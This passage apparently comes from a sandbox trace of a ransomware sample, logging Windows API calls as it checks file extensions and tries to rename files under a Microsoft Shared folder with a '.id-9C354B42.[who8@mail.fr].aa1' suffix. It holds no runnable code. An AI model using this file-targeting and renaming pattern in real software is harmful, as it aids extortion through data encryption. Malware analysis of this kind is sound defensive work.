(lpString=".ppt") returned 4 [0203.479] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0203.479] lstrlenW (lpString=".zip") returned 4 [0203.479] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.479] lstrlenW (lpString=".rar") returned 4 [0203.479] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.479] lstrlenW (lpString=".bz2") returned 4 [0203.479] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.479] lstrlenW (lpString=".7z") returned 3 [0203.479] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0203.479] lstrlenW (lpString=".dbf") returned 4 [0203.479] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0203.479] lstrlenW (lpString=".1cd") returned 4 [0203.479] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0203.480] lstrlenW (lpString=".jpg") returned 4 [0203.480] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0203.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0203.480] lstrlenW (lpString=".doc") returned 4 [0203.480] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.482] lstrlenW (lpString=".docx") returned 5 [0203.482] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0203.482] lstrlenW (lpString=".pdf") returned 4 [0203.482] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.482] lstrlenW (lpString=".xls") returned 4 [0203.482] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.482] lstrlenW (lpString=".xlsx") returned 5 [0203.482] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0203.482] lstrlenW (lpString=".ppt") returned 4 [0203.482] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0203.482] lstrlenW (lpString=".zip") returned 4 [0203.482] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.482] lstrlenW (lpString=".rar") returned 4 [0203.483] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.483] lstrlenW (lpString=".bz2") returned 4 [0203.483] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.483] lstrlenW (lpString=".7z") returned 3 [0203.483] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0203.483] lstrlenW (lpString=".dbf") returned 4 [0203.483] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0203.483] lstrlenW (lpString=".1cd") returned 4 [0203.483] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0203.483] lstrlenW (lpString=".jpg") returned 4 [0203.483] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.483] lstrcmpiW (lpString1=".avi", lpString2=".aa1") returned 1 [0203.483] lstrlenW (lpString="join.avi") returned 8 [0203.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0204.859] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=222208) returned 1 [0204.859] CloseHandle (hObject=0x16c) returned 1 [0204.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0204.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0204.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0204.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0204.859] lstrlenW (lpString=".doc") returned 4 [0204.859] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0204.859] lstrlenW (lpString=".docx") returned 5 [0204.859] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0204.859] lstrlenW (lpString=".pdf") returned 4 [0204.859] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0204.859] lstrlenW (lpString=".xls") returned 4 [0204.860] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0204.860] lstrlenW (lpString=".xlsx") returned 5 [0204.860] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0204.860] lstrlenW (lpString=".ppt") returned 4 [0204.860] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0204.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0204.860] lstrlenW (lpString=".zip") returned 4 [0204.860] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0204.860] lstrlenW (lpString=".rar") returned 4 [0204.860] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0204.860] lstrlenW (lpString=".bz2") returned 4 [0204.860] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0204.860] lstrlenW (lpString=".7z") returned 3 [0204.860] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0204.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0204.860] lstrlenW (lpString=".dbf") returned 4 [0204.860] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0204.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0204.860] lstrlenW (lpString=".1cd") returned 4 [0204.860] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0204.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0204.860] lstrlenW (lpString=".jpg") returned 4 [0204.860] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0204.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0204.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0204.860] lstrlenW (lpString=".doc") returned 4 [0204.860] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0204.860] lstrlenW (lpString=".docx") returned 5 [0204.860] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0204.860] lstrlenW (lpString=".pdf") returned 4 [0204.861] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0204.861] lstrlenW (lpString=".xls") returned 4 [0204.861] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0204.861] lstrlenW (lpString=".xlsx") returned 5 [0204.861] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0204.861] lstrlenW (lpString=".ppt") returned 4 [0204.861] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0204.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0204.861] lstrlenW (lpString=".zip") returned 4 [0204.861] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0204.861] lstrlenW (lpString=".rar") returned 4 [0204.861] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0204.861] lstrlenW (lpString=".bz2") returned 4 [0204.861] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0204.861] lstrlenW (lpString=".7z") returned 3 [0204.861] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0204.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0204.861] lstrlenW (lpString=".dbf") returned 4 [0204.861] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0204.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0204.861] lstrlenW (lpString=".1cd") returned 4 [0204.861] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0204.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0204.861] lstrlenW (lpString=".jpg") returned 4 [0204.861] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0204.861] lstrcmpiW (lpString1=".avi", lpString2=".aa1") returned 1 [0204.861] lstrlenW (lpString="split.avi") returned 9 [0204.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0204.862] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=194048) returned 1 [0204.862] CloseHandle (hObject=0x16c) returned 1 [0204.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0204.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0204.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0204.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0204.862] lstrlenW (lpString=".doc") returned 4 [0204.862] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0204.862] lstrlenW (lpString=".docx") returned 5 [0204.862] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0204.862] lstrlenW (lpString=".pdf") returned 4 [0204.862] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0204.862] lstrlenW (lpString=".xls") returned 4 [0204.862] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0204.862] lstrlenW (lpString=".xlsx") returned 5 [0204.862] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0204.863] lstrlenW (lpString=".ppt") returned 4 [0204.863] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0204.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0204.863] lstrlenW (lpString=".zip") returned 4 [0204.863] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0204.863] lstrlenW (lpString=".rar") returned 4 [0204.863] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0204.863] lstrlenW (lpString=".bz2") returned 4 [0204.863] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0204.863] lstrlenW (lpString=".7z") returned 3 [0204.863] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0204.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0204.863] lstrlenW (lpString=".dbf") returned 4 [0204.863] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0204.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0204.863] lstrlenW (lpString=".1cd") returned 4 [0204.863] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0204.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0204.863] lstrlenW (lpString=".jpg") returned 4 [0204.863] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0204.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0204.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0204.863] lstrlenW (lpString=".doc") returned 4 [0204.863] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0204.863] lstrlenW (lpString=".docx") returned 5 [0204.863] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0204.863] lstrlenW (lpString=".pdf") returned 4 [0204.863] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0204.864] lstrlenW (lpString=".xls") returned 4 [0204.864] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0204.864] lstrlenW (lpString=".xlsx") returned 5 [0204.864] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0204.864] lstrlenW (lpString=".ppt") returned 4 [0204.864] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0204.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0204.864] lstrlenW (lpString=".zip") returned 4 [0204.864] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0204.864] lstrlenW (lpString=".rar") returned 4 [0204.864] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0204.864] lstrlenW (lpString=".bz2") returned 4 [0204.864] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0204.864] lstrlenW (lpString=".7z") returned 3 [0204.864] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0204.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0204.864] lstrlenW (lpString=".dbf") returned 4 [0204.864] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0204.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0204.864] lstrlenW (lpString=".1cd") returned 4 [0204.864] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0204.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0204.864] lstrlenW (lpString=".jpg") returned 4 [0204.865] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0204.865] lstrcmpiW (lpString1=".avi", lpString2=".aa1") returned 1 [0204.865] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0204.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0204.865] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1600388) returned 1 [0204.865] CloseHandle (hObject=0x16c) returned 1 [0204.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0204.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0204.866] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[who8@mail.fr].aa1")) returned 0 [0204.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0204.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0204.866] lstrlenW (lpString=".doc") returned 4 [0204.866] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0204.866] lstrlenW (lpString=".docx") returned 5 [0204.866] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0204.866] lstrlenW (lpString=".pdf") returned 4 [0204.866] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0204.866] lstrlenW (lpString=".xls") returned 4 [0204.866] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0204.866] lstrlenW (lpString=".xlsx") returned 5 [0204.866] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0204.866] lstrlenW (lpString=".ppt") returned 4 [0204.867] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0204.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0204.867] lstrlenW (lpString=".zip") returned 4 [0204.867] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0204.867] lstrlenW (lpString=".rar") returned 4 [0204.867] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0204.867] lstrlenW (lpString=".bz2") returned 4 [0204.867] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0204.867] lstrlenW (lpString=".7z") returned 3 [0204.867] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0204.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0204.867] lstrlenW (lpString=".dbf") returned 4 [0204.867] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0204.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0204.867] lstrlenW (lpString=".1cd") returned 4 [0204.867] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0204.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0204.867] lstrlenW (lpString=".jpg") returned 4 [0204.867] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0204.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0204.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0204.868] lstrlenW (lpString=".doc") returned 4 [0204.868] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0204.868] lstrlenW (lpString=".docx") returned 5 [0204.868] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0204.868] lstrlenW (lpString=".pdf") returned 4 [0204.868] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0204.868] lstrlenW (lpString=".xls") returned 4 [0204.868] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0204.868] lstrlenW (lpString=".xlsx") returned 5 [0204.868] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0204.868] lstrlenW (lpString=".ppt") returned 4 [0204.868] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0204.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0204.868] lstrlenW (lpString=".zip") returned 4 [0204.868] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0204.868] lstrlenW (lpString=".rar") returned 4 [0204.868] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0204.868] lstrlenW (lpString=".bz2") returned 4 [0204.868] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0204.868] lstrlenW (lpString=".7z") returned 3 [0204.869] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0204.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0204.869] lstrlenW (lpString=".dbf") returned 4 [0204.869] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0204.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0204.869] lstrlenW (lpString=".1cd") returned 4 [0204.869] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0204.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0204.869] lstrlenW (lpString=".jpg") returned 4 [0204.869] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0204.869] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0204.869] lstrlenW (lpString="auxbase.xml") returned 11 [0204.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0204.870] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1434) returned 1 [0204.870] CloseHandle (hObject=0x16c) returned 1 [0204.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0204.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0204.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0204.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0204.871] lstrlenW (lpString=".doc") returned 4 [0204.871] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.871] lstrlenW (lpString=".docx") returned 5 [0204.871] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0204.871] lstrlenW (lpString=".pdf") returned 4 [0204.871] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.871] lstrlenW (lpString=".xls") returned 4 [0204.871] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.871] lstrlenW (lpString=".xlsx") returned 5 [0204.871] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0204.871] lstrlenW (lpString=".ppt") returned 4 [0204.871] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0204.872] lstrlenW (lpString=".zip") returned 4 [0204.872] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.872] lstrlenW (lpString=".rar") returned 4 [0204.872] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.872] lstrlenW (lpString=".bz2") returned 4 [0204.872] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.872] lstrlenW (lpString=".7z") returned 3 [0204.872] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0204.872] lstrlenW (lpString=".dbf") returned 4 [0204.872] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0204.872] lstrlenW (lpString=".1cd") returned 4 [0204.872] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0204.872] lstrlenW (lpString=".jpg") returned 4 [0204.872] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0204.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0204.873] lstrlenW (lpString=".doc") returned 4 [0204.873] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.873] lstrlenW (lpString=".docx") returned 5 [0204.873] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0204.873] lstrlenW (lpString=".pdf") returned 4 [0204.873] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.873] lstrlenW (lpString=".xls") returned 4 [0204.873] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.873] lstrlenW (lpString=".xlsx") returned 5 [0204.873] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0204.873] lstrlenW (lpString=".ppt") returned 4 [0204.873] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0204.873] lstrlenW (lpString=".zip") returned 4 [0204.873] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.873] lstrlenW (lpString=".rar") returned 4 [0204.873] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.873] lstrlenW (lpString=".bz2") returned 4 [0204.873] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.874] lstrlenW (lpString=".7z") returned 3 [0204.874] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0204.874] lstrlenW (lpString=".dbf") returned 4 [0204.874] lstrcmpiW 